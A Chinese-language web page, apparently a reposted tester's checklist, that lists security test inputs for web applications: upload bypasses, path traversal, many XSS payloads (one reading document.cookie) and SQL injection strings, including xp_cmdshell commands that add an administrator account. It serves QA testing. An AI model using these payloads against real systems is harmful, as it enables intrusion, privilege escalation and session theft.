常用安全测试用例

建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL 注入、身份验证和授权错误。

1、输入验证

客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)

1.输入很大的数(如4,294,967,269),输入很小的数(负数)

2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应

3.输入特殊字符,如:[email protected]#$%^&*()_+<>:”{}|

4.输入中英文空格,输入字符串中间含空格,输入首尾空格

5.输入特殊字符串NULL,null,0x0d 0x0a

6.输入正常字符串

7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字

8.输入html和javascript代码

9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化

例如:

1.输入<html”>”gfhd</html>,看是否出错;

2.输入<input type=”text” name=”user”/>,看是否出现文本框;

3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。

关于上传:

1.上传文件是否有格式限制,是否可以上传exe文件;

2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;

3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;

4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。

5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。

6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。

7.对于文件名中带有中文字符,特殊字符等的文件上传。

下载:

  1. 避免输入:\..\web.
  2. 修改命名后缀。

关于URL

1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;

2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;

3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。

4.输入善意字符。

UBB:

[url=http://www.****.com] 你的网站[/url]

1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.

2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用

3.输入编辑器中不存在的UBB代码,看是否起作用

[url=alert(‘hello‘)]链接[ /url]

[email=alert(‘hello‘)]EMail[ /email]

[[email protected] STYLE="background-image: url(alert(‘XSS‘))"][email protected][ /email]

[img]http://www.13fun.cn/2007713015578593_03.jpg style=”background-image:url(alert(‘alert(xss)’))”[ /img]

[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg “onmouseover=alert(‘hello’);”[/img]

[b STYLE="background-image: url(alert(‘XSS‘))"]一首诗酸涩涩服务网[ /b]

[i STYLE="background-image: url(alert(‘XSS‘))"]一二三四五六七北京市[ /i]

[u]一二三四五六七北京市[/u]

[font=微软雅黑" STYLE="background-image: url(alert(‘XSS‘))"]一二三四五六七北京市[ /font]

[size=4" STYLE="background-image: url(alert(‘XSS‘))"]一二三四五六七北京市[ /size]

[color=Red" STYLE="background-image: url(alert(‘XSS‘))"]一二三四五六七北京市[ /color]

[align=center" STYLE="background-image: url(alert(‘XSS‘))"]一二三四五六七北京市[ /align]

[float=left" STYLE="background-image: url(alert(‘XSS‘))"]一二三四五六七北京市[ /float]

[font=微软雅黑 STYLE="background-image: url(alert(‘XSS‘))"]一二三四五六七北京市[ /font]

[size=4 STYLE="background-image: url(alert(‘XSS‘))"]一二三四五六七北京市[ /size]

[color=Red STYLE="background-image: url(alert(‘XSS‘))"]一二三四五六七北京市[ /color]

[align=center STYLE="background-image: url(alert(‘XSS‘))"]一二三四五六七北京市[ /align]

[list=1]

[*]一二三四五六七北京市[/list]

[indent]一二三四五六七北京市[/indent]

[float=left STYLE="background-image: url(alert(‘XSS‘))"]一二三四五六七北京市[ /float]

[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]

输出编码

常用的测试输入语句有:

<input type=”text”/>

<input/>

<input/

<script>alert(‘hello’);</script>

1.jpg” onmouseover=”alert(‘xss’)

“></a><script>alert(‘xss’);</script>

http://xxx’;alert(‘xss’);var/ a=’a

‘”>xss&<

a=”\” ; b=”;alert(/xss/);//”

<img src=“输出内容” border=“0” alt=“logo” />

“’”

‘”’

“””

“ “ “

“”“

“‘ ”

title=””

对输出数据到输出数据的对比,看是否出现问题。

防止SQL注入

Admin–

‘or ---–--

‘ and ( ) exec insert * % chr mid

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2

‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;

and 1=2 ; ‘and 1=2

and 2=2

and user>0

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段)

;exec master..xp_cmdshell “net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”—

and 0<>(select count(*) from admin)

简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

跨站脚本***(XSS

对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?

[email protected]#$%^&*()_+<>,./?;’”[]{}\-

★%3Cinput /%3E

★%3Cscript%3Ealert(‘XSS’)%3C/script%3E

★<input type=”text”/>

★<input/>

★<input/

★<script>alert(‘xss’)</script>

★<script>alert(‘xss’);</script>

★</script><script>alert(‘xss’)</script>

★alert( /xss/)

★javascrip&#116&#58alert(/xss/)

★<img src=”#” onerror=alert(/xss/)>

★<img src=”#” style=”Xss:alert( /xss/));”>

★<img src=”#”/**/onerror=alert(/xss/) width=100>

★=’><script>alert(document.cookie)</script>

★1.jpg” onmouseover=”alert(‘xss’)

★”></a><script>alert(‘xss’);</script>

★http://xxx’;alert(‘xss’);var/ a=’a

★’”>xss&<

★”onmouseover=alert(‘hello’);”

★&{alert(‘hello’);}

★>”‘><script>alert(‘XSS’)</script>

★>%22%27><img%20src%3d%22alert(%27XSS%27)%22>< /p>

★>”‘><img%20src%3D%26%23x6a;%26%23×61;%26%23×76;%26%23×61;%26%23×73;%26%23×63;%26%23×72;%26%23×69;%26%23×70;%26%23×74;%26%23x3a;alert(%26quot;XSS%26quot;)>

★AK%22%20style%3D%22url(javascript:alert(%27XSS%27))%22%20OS%22< /p>

★%22%2Balert(%27XSS%27)%2B%22

★<table background=”alert(([code])">< /table>

★<object type=text/html data="alert(([code]);">< /object>

★<body /body>

★a?<script>alert(’Vulnerable’)</script>

★<!--‘">&:

var from = ‘$!rundata.Parameters.getString(’from’)‘;

var from = ”;hackerFunction(document.cookie);”;

http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX

跨站请求伪造(CSRF

同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功。

当页面没有CHECKCODE时,查看页面源代码,查是是否有token。如果页面完全是展示页面,是不会有token的。

原文地址:https://www.cnblogs.com/D666/p/9165048.html

时间: 2024-11-05 14:08:30

常用安全测试用例的相关文章

测试小白基础知识---常用的测试用例设计方法

软件测试的核心是测试用例的编写,是每个测试人员必须掌握的技能!! «««测试第一原则:所有的测试,都必须追溯到需求: «««测试第二原则:测试是无穷尽的,测试必须终止 «««测试用例的设计方法: 一.等价类划分法 某个输入域的子集合,在该子集合中,所有的输入数据对揭露软件中的错误都是等效的. 等价类划分有效等价类和无效等价类 有效等价类:输入的数据,是符合需求的,是合理的合法的. 无效等价类:输入的数据,是不符合需求的,是不合理的. «««等价类划分法用例设计原则: 1.划分有效和无效等价类,为

常用安全测试用例(二)

防止SQL注入 Admin-- 'or ------- ' and ( ) exec insert * % chr mid and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2 'and 1=1 ; 'And 1=1 ; 'aNd 1=1 ; and 1=2 ; 'and 1=2 and 2=2 and user>0 and (select count(*)

常用输入框测试用例设计分享

普通输入框字段校验测试 1. 不输入,空内容 2. 输入1个字符 3. 若输入框有长度限制为N个字符,测试N-1个字符,N个字符,N+1个字符,N+N+...(超长)这几个边界值 4. 还需要测试下通过复制大于长度的值粘贴进去看是否能输入 5. 输入半角/全角空格 6. 输入半角/全角,大写/小写英文字符 7. 输入半角/全角数字 8. 输入简体中文字符(默认全角) 9. 输入繁体中文字符(默认全角) 10. 输入半角特殊字符:!@#¥%……&*() 11. 输入全角特殊字符:[email pr

如何设计一个&quot;好的&quot;测试用例?

什么才算是"好的"测试用例? 好的测试用例一定是一个完备的集合,它能够覆盖所有等价类以及各种边界值,而跟能否发现缺陷无关. "好的"测试用例必须具备哪些特征? 一个"好的"测试用例,必须具备以下三个特征. 1.整体完备性:"好的"测试用例一定是一个完备的整体,是有效测试用例组成的集合,能够完全覆盖测试去求. 2.等价类划分的准确性:指的是对于每个等价类都能保证只要其中一个输入测试通过,其他输入也一定测试通过. 3.等价类集合的

02、如何设计一个&quot;好的&quot;测试用例

一."好的"测试用例一定是一个完备的集合,它能够覆盖所有等价类以及各种边界值,而跟能否发现缺陷无关 二.好的测试用例必须具备的三个特征 1.整体完备性:"好的"测试用例一定是一个完备的整体,是有效测试用例组成的集合,能够完全覆盖测试需求 2.等价类划分的准确性:指的是对于每个等价类都能保证只要一个输入测试通过,其它输入也一定测试通过 3.等价类集合的完备性:需要保证所有可能的边界值和边界条件都已经正确识别 三.三种最常用的测试用例设计方法 1.等价类划分方法:分为有

软件测试笔试总结

1.软件测试的目的是什么? a.测试的目的是为了发现尽可能多的软件缺陷,不是为了说明软件中没有缺陷. b.成功的测试在于发现了迄今尚未发现的缺陷.所以测试人员的职责是设计这样的测试用例,它能有效地揭示潜伏在软件里的缺陷. 2.使用白盒测试方法时,确定测试数据应根据()和指定的覆盖标准. A.程序的内部逻辑 B.程序的复杂程度 C.使用说明书 D.程序的功能 正确答案:A(貌似当时我选的C,哎,错了...) 解析:白盒测试把测试对象看做一个打开的盒子,允许测试人员利用程序内部的逻辑结构及有关信息,

项目bug的修正

这几个月来,大部分业余时间,都花在阅读软件工程和编译原理方面的书籍上了.软件工程方面的书,包括软件需求.风险管理.敏捷建模,系统设计,软件项目管理,还有一些类似于的沉思录书籍等. 在这些书中,都只是讲了如何让项目健康发展,最后成功的提交一个产品.尽管它们都是从不同的角度,用不同的方法去完成同样的事.但它们几乎都支持这样的观点:计划+修正计划(不但设计是迭代的,计划也是迭代的).用其中一个作者的话说,伤害你的,不是那些你没有考虑完整的,而是你根本没去考虑的事情. 然而,几乎没有一本书里,讲到关于消

针对B/S、C/S架构的180个简单测试案例(转)

这是一个针对web应用和桌面应用程序的测试清单. 注释:这篇文章有点长,我的目标是能够分享其中一个已经启动但还没完成的综合测试清单.我将利用很多场景持续更新该清单.如果你现在没有时间阅读,请随意的将它与你的朋友共享并放在书签中供以后阅读. 测试清单是测试用例编写过程中不可或缺的一部分.使用该清单你可以轻松地创建数以百计的测试用例来测试web或桌面应用程序.这些都是常用的测试用例,基本上适用于所有的应用程序.在为你的项目编写测试用例时参考该清单,我相信除了软件需求说明文档中的特定业务规则外,你能覆

自动化测试的成本高效果差,那么自动化测试的意义在哪呢

自动化测试的成本高,效果差,是一个相对的,而针对某些具体项目,是必须要接入自动化测试的. 首先说一些什么时候会需要自动化测试,明白了这一点,题主的疑惑就能解开一半了 首先咱们讨论这个问题之前要带着一个疑问:决定要不要做自动化测试的因素有哪些? 应该说时间才是一个衡量比重比较大的因素. 假如一个项目从立项到结束只有一个月的时间,而这一个月的时间可能相当长的时间都是用来看需求文档,改需求文档,编写测试用例等,真正留给测试的时间是不多的.所以这个时候如果强行要做自动化测试,可能用例设计还没有完成,后面